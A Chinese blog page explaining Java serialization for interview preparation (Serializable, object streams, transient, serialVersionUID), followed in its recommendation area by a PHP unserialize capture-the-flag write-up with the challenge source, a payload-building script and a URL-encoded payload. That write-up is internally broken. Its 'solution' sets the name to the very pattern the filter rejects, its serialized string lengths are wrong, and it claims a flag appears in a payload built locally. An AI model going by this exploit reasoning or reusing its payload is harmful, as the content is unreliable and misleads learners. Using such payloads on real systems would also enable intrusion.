基础 | Java序列化与反序列化的底层实现

深拷贝与浅拷贝中,提到可以采用「序列化与反序列化」的方式来实现深拷贝,今天主要来填一下序列化的坑。

其中,序列化是一种对象持久化的手段,普遍应用于网络传输和远程方法调用(RMI)等场景中,建议关注。


什么是Java序列化和反序列化?

参考答案:

在Java中,序列化是指将Java对象转换为字节序列的过程,而反序列化是指将字节序列转换为Java对象的过程。其中,字节序列即是二进制数据,可以方便地在网络上传输或存储到本地硬盘中。


为什么要进行序列化和反序列化?

问题分析:可以从序列化和反序列化的主要作用或应用场景进行总结。

参考答案:

序列化的主要作用包括两个方面:

  • 实现网络中对象的传送,即在网络进程间传递对象。
  • 实现内存中对象的持久化,即将对象保存到本地磁盘中。

主要应用场景:

  • Java远程方法调用(RMI),即允许一个Java虚拟机上运行的Java程序调用其他虚拟机运行内存中对象的方法,即使这些虚拟机运行于物理隔离的不同主机上。
  • 分布式系统中不同服务器间共享的JavaBean对象都需要先序列化为二进制数据,再在网络中传输。
  • Session钝化机制:Web容器将一些session先序列化写入本地磁盘,在需要使用时再将对象从磁盘还原到内存中去,以减轻服务器的内存负担。

备注:当然还有很多应用场景,在此仅做参考。


如何实现Java序列化?

问题分析:同「请解释一下Serializable接口的作用」。

参考答案:

第一步:将需要序列化的对象所属类实现java.io.Serializable标记接口(没有任何抽象方法的接口)。

public class Person implements Serializable {
	private static final long serialVersionUID = -7755892886656448346L;
	private String name;
	private Integer age;
	// getter、setter、constructor和toString方法省略
}

第二步:在Java程序中使用对象输出流(ObjectOutputStream),通过其writeObject()方法来实现序列化操作。

OutputStream out = new FileOutputStream("D:\\Jerry.txt");
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(new Person("Jerry", 18));
oos.flush();

第三步:在Java程序中使用对象输入出流(ObjectInputStream),通过其readObject()方法来实现反序列化操作。

InputStream is = new FileInputStream("D:\\Jerry.txt");
ObjectInputStream ois = new ObjectInputStream(is);
Person jerry = (Person) ois.readObject();

常见问题:

  • 若对象所属类未实现Serializable接口,则在序列化时会报java.io.NotSerializableException运行时异常。
  • 建议对象所属类在实现Serializable接口的同时,添加serialVersionUID常量。

注意事项

  • 序列化时,仅对对象的状态(属性值)进行保存,而不管对象的方法。
  • 静态成员数据不能被序列化,因为static代表类的状态。
  • 在变量声明前添加transient关键字,可在序列化时忽略该数据。

扩展面试题

问:如何实现自定义序列化策略?

方式一:实现Externalizable接口,并重写WriteExternal(ObjectOutput)和readExternal(ObjectInput)方法。其中,Externalizable接口继承了Serializable接口,并添加了以上两个方法,用于实现对序列化的控制。

方式二:根据Externalizable接口的思想,可在实现Serializable接口的基础上,直接添加并实现WriteObject(ObjectOutputStream)和readObject(ObjectInputStream)两个方法。

其中,ArrayList类即采用方式二来实现对序列化的控制,主要是为了保证仅对动态数组中的非null元素进行序列化。

问:serialVersionUID常量有什么作用?

答:保证版本号的一致性。若不显式指定该常量值,Java编译器会自动为其生成一个默认值,该默认值会随着类代码的变动而变动。故当修改类代码时,之前已经序列化的对象在进行反序列化时即会因为版本号的不一致而发生异常。

显式定义serialVersionUID主要有两种用途:

  • 在某些场合,希望类的不同版本对序列化兼容,故需确保类的不同版本具有相同的serialVersionUID;
  • 在某些场合,不希望类的不同版本对序列化兼容,因此需要确保类的不同版本具有不同的serialVersionUID。

问:序列化为什么可以实现深拷贝?

答:若一个对象的属性引用其他对象,则序列化该对象时引用对象也会同时被序列化,这即是序列化能够实现深拷贝的本质。


推荐阅读


欢迎关注

Java名企面试吧,每天10点24分,我们不见不散!

丙子先生的宗旨是,每天以短篇幅讲高频面试题,不增加太多负担,但需要持之以恒。

能力有限,欢迎指教!

  • 0
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这道题是一个 PHP 反序列化的题目。 题目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的题目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据题目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值